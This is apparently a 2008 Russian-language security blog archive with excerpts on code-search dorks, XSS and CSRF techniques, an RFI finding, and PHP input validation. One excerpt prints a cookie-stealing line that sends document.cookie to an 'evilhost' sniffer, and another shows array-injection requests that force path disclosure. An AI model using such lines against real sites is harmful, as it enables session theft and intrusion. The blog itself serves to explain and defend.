Не перестаю удивляться Google; количество, а, главное, качество разнообразных сервисов просто поражает. Одним из самых любимых и часто используемых, помимо поиска, в последнее время для меня стал Google Code Search. Этот сервис предоставляет возможность поиска определенных строк в коде десятков тысяч проектов с открытыми исходниками, причем имеется возможность использования регулярных выражений. Поле применения этого уникального сервиса очень велико, в частности с помощью него можно найти множество уязвимых PHP-скриптов. В этом посте я хотел бы поделиться некоторыми запросами для поиска бажных веб-приложений.
Year: 2008
-
Эксплоит для одноклассников
Сегодня обнаружил, что RST/GHC вдруг возродилась. Признаться, для меня это было открытие. Только теперь объединенная команда состоит еще из одной тимы: UKT. Кто это такие мне пока неизвестно. А вот сплоит для одноклассников теперь известен всем =) Сегодня его раздавали на IRC-канале всем желающим. (more…)
-
Локальный прокси – профессиональный инструмент специалиста по безопасности
Какие преимущества нам дает использование локального прокси-сервера? Прежде всего это полная свобода действий над входящими и исходящими пакетами, а также над web-контентом. Настроив свой браузер на работу с ним, Вы сможете блокировать баннеры, подозрительный javascript-код и опасные тэги. Другими словам, локальный веб-прокси с правильно настроенными фильтрами осуществляет полный контроль над web-содержимым. Однако поле применения данного средства намного шире, в частности локальные прокси могут быть полезны для обнаружения уязвимостей в web-интерфейсах и проведения тестов на проникновение.
Мне известны две подобные программы – это Proxomitron и Privoxy. Первая разрабатывалась еще для Windows 95; последняя версия – Naoko 4.5, релиз которой состоялся в 2003 году. К сожалению, в настоящее время программа не обновляется, однако ее возможностей мне вполне хватает и, уверен, хватит еще надолго. Privoxy – кросплатформенный аналог Proxomitron’а. Обычно его используют в связке с TOR’ом – сетью, обеспечивающей безопасность трафика. GUI-интерфейс у программы как таковой отсутствует. Все правила для фильтрации веб-контента необходимо вручную указывать в текстовых конфигурационных файлах. На лицо издержки кроссплатформенности, но если вы поклонник консоли и линукса, то эта программа будет Вам по душе. Я же предпочитаю Proxomitron, именно о нем в этом посте и пойдет речь.
-
Вы верите в призраков?
Довольно любопытный пост недавно появился на GNUCITIZEN. В нем рассказывается о новом способе слежения за пользователями, с помощью которого вполне реально создать настоящий веб кейлоггер, активизирующийся после нажатия по обычной ссылке. Ссылка, естественно, не простая 😉 Итак, вот мой перевод поста.
Существует несколько конференций, которые проводятся закрыто, и их уровень обычно довольно высок. Одной из них является конференция BlueHat, которую проводит Microsoft. BlueHat – это внутреннее мероприятие MS, однако компания приглашает множество специалистов по безопасности со всего мира. Вместе с парой моих друзей я присутствовал на ней, и, несомненно, она оказалось довольно занимательной. Особенно нас заинтересовала речь Мануэля Кабаллеро (Manuel Caballero), которая была презентована под названием «Житель в моем домене» («A resident in my domain»). Анонс его выступления был по-настоящему интригующим:
Вы верите в приведения? Представьте невидимый скрипт, который бесшумно следует за Вами, в то время как Вы посещаете страницы в интернете, даже после того, как Вы сменили адрес тысячу раз, чувствуя себя в совершенной безопасности. Теперь представьте, что приведение способно видеть все, что Вы делаете, включая, страницы, которые Вы посещаете, набираемый Вами текст (включая пароли), и даже предугадать Ваш следующий шаг.
Не требуется никаких загрузок, не нужны подтверждения пользователя и ActiveX. Другими словами: никаких дописываемых строк. Мы изучим силу скриптов- резидентов (resident scripts) и силу глобального междомена (global cross-domain). Также мы исследуем методы обнаружения междоменов и скриптов-резидентов.
-
XDomainRequest vs XMLHttpRequest
Этот пост является продолжением недавней статьи, в которой описывались методы удаленного взаимодействия с сервером посредством JavaScript, в частности с помощью AJAX. Как Вы уже знаете, в FireFox 3 JS-объект XMLHttpRequest будет иметь возможность посылать запросы на сторонние сайты. Microsoft по-видимому снова решила выделиться и вместо того, чтобы унифицировать интерфейс для отправки запросов, решила внедрить новый объект в Internet Explorer 8, который также будет способен делать междоменные вызовы. Заметьте, что до этого в IE использовался (собственно и сейчас используется) свой объект ActiveX с названием Microsoft.XMLHTTP, однако вместо его изменения, как поступили разработчики FF с XMLHttpRequest, мелкомягкие решили создать полностью новый, и при этом он не будет связан с ActiveX! Напрашивается вопрос: раз уж принялись за создание нового объекта, почему бы не сделать его максимально универсальным? Мне непонятно такое стремление, впрочем, как и всем разработчикам, среди которых данное решение поддержки однозначно не найдет.
-
Инклуд удаленных файлов в microSSys CMS 1.5
Обнаружил RFI в microSSys CMS, самой непрофессиональной CMS’ке, которую я когда-либо видел. Помнится был WCPS, который занимал в моем “почетном” рейтинге первое место, но эта CMS еще ужасней во всех отношениях, включая и безопасность. Вот хоронология моих действий:
- переписал файлы на локалхост
- открыл в браузере скрипт установки
- испугался и закрыл
- открыл исходный код index.php
- снова испугался, но перед тем, как закрыть заметил RFI
CMS’ка настолько стремная, что str0ke с milw0rm’а отказался принимать уязвимость =) (more…)
-
HTML & JS: взаимодействие с удаленным сервером
Сегодня я хотел бы рассмотреть существующие методы для обращения клиента через браузер к стороннему серверу. Для чего это нужно злоумышленникам? Все очень просто: для реализации атак вида XSS (Cross Site Scripting) и CSRF (Cross Site Request Frogery). В большинстве случаев хакеру требуется сделать GET-запрос к своему серверу; как правило, это достигается путем использования двух основных приемов:
- перенаправление с помощью location.replace()
document.location.replace("http://evilhost/snif.php?c="+document.cookie);
- динамическое создание или вставка тэгов, имеющих аттрибуты src или background; при этом источником этих элементов является сервер злоумышленника. Это могут быть тэги img, iframe, frame, script, link, table и многие другие. (more…)
- перенаправление с помощью location.replace()
-
Удаленное администрирование сайтом
У многих людей сложилось представление, что администраторская панель сайта всегда имеет только web-интерфейс. На самом деле теоретически возможно реализовать админку в виде обычной программы, которую можно запустить на собственном компьютере. Возможно уже существуют подобные, но я пока их не встречал =) Эта идея мне пришла в голову после работы с WinBinder, о котором я писал не так давно. С точки зрения безопасности админка, релизованная в виде программы, имеет ряд преимуществ. Не секрет, что на многих сайтах админ-панель обычно расположена в таких директориях, как admin/, a/, backend/, administration/, adm/, и т.д., что легко вычисляется злоумышленниками. Если же мы используем удаленную админку, то возможность перебора пароля хакерами исключается. Более того, весь функционал по администрированию сайтом вообще не находится на сервере! Доступ к панели администрирования имеет только тот пользователь, на компьютере которого установлена данная программа.
-
Функция для обработки входящих данных
Собственно вот и обещанная мной функция для обработки данных, поступающих от пользователя. Для получения одной переменной вызываем так (какие аргументы передавать думаю и так ясно):
<?php $var = import_var('var','G','INT',3); ?>
Для получения одновременно нескольких однотипных переменных вызов функции немного отличается:
<?php extract(import_var(array('var1','var2','var3'),'G','INT',3)); echo $var1; echo $var2; echo $var3; ?>
-
Проверяйте тип данных
В дополнение к прошлому посту, и как подметил автор SecureBlog’а, хотел бы добавить следующее: прежде чем осуществлять обработку данных на их содержимое необходимо проверять их тип. Если этому не уделять внимания, то недостаточная проверка типов данных может привести к раскрытию пути, т.к. функция, которая ожидает получить, например, числовое значение в качестве одного из аргументов, приняв строку или массив, как правило, вызывает ошибку уровня E_WARNING:
Warning: urlencode() expects parameter 1 to be string, array given in C:\Webservers\localhost\www\index.php on line 3
Передать массив вместо строки или числа очень просто:
GET-запрос:GET /index.php?mode[]=main HTTP/1.1 Host: somehost.com Connection: close
POST-запрос:
POST /index.php HTTP/1.1 Host: somehost.com Content-Type: application/x-www-form-urlencoded Connection: close postfield[]=blah
Массив в Cookie:
GET /index.php HTTP/1.1 Host: somehost.com Cookie: auth[]=8c510f5172628316f5435fc9bc0c4d17 Connection: close
Скоро выложу свою функцию, общие принципы реализации которой я описывал в прошлом посте.